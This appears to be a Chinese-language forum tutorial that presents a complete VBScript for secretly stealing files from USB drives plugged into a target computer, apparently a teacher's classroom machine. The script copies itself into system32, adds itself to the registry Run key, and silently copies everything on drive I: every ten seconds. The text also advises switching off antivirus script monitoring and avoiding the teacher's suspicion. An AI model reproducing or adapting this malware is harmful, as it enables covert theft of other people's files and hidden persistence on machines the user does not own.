On Error Resume Next ‘忽略異常，否則可能會有錯誤提示框
Set fso=CreateObject("Scripting.FileSystemObject") ‘創(chuàng)建fso
dim n
Set n=CreateObject("Wscript.Shell") ‘聲明變量n
Set dir = fso.GetSpecialFolder(1) ‘讀取system32文件夾路徑
fso.GetFile(WScript.ScriptFullName).Copy(dir"\copy.vbs") ‘讀取自身文件名，并復制自己到system32文件夾，重命名為copy.vbs
dim r
Set r=CreateObject("Wscript.Shell") ‘聲明變量r，用于讀寫注冊表
r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs","REG_SZ" ‘為腳本添加啟動項
fso.CreateFolder("c:\windows\explorer") ‘創(chuàng)建文件夾，用來存放U盤文件
for i = 1 to 2
i = 1 ‘看出來了么，這是個死循環(huán)，變量i不可能到2，所以可以不斷檢查U盤并復制內(nèi)容
fso.CopyFile "i:\*", "c:\windows\explorer\", True ‘復制I盤(U盤盤符)所有文件到指定文件夾
fso.CopyFolder "i:\*", "c:\windows\explorer\", True ‘復制I盤所有文件夾到指定文件夾
wscript.sleep 10000 ‘掛起10秒，此屬性單位為毫秒
next
把上述內(nèi)容存為kubau0.vbs，才幾百字節(jié)。
提示一點，因為腳本內(nèi)容有對注冊表和文件的操作，所以執(zhí)行時要把殺毒軟件的網(wǎng)頁或腳本之類的監(jiān)控關掉，否則會不客氣的彈出個對話框問你是否執(zhí)行，如果引起老師懷疑的話……那你就節(jié)哀吧。
現(xiàn)在，只要在目標機上執(zhí)行一次腳本（什么？沒反應？當然不會有了！看看進程列表，如果有一個wscript.exe就說明已經(jīng)執(zhí)行成功了），腳本執(zhí)行會停留在死循環(huán)里，每隔10秒復制一次文件到C:\windows\explorer\文件夾(間隔時間和目標文件夾均可自行設置)，重啟后會自動執(zhí)行，且不會有任何異常提示，畢竟安全才是最重要的嘛！這也是VBS的特點，一切悄無聲息。
不過腳本也不是沒有缺點，那就是在復制文件的時候U盤燈會狂閃不止，且機器運行速度會明顯變慢，且無法通過安全刪除硬件來停止U盤，不過好在老師們多是才鳥(才鳥？什么東西？有才的菜鳥？)，但是如果哪位高手能幫我解決，還請不吝賜教！
另外，別以為復制完就萬事大吉了，最好定期刪除沒用的文件，否則目標文件夾會急劇膨脹，比如我們班，一星期下來就超了1G，很恐怖！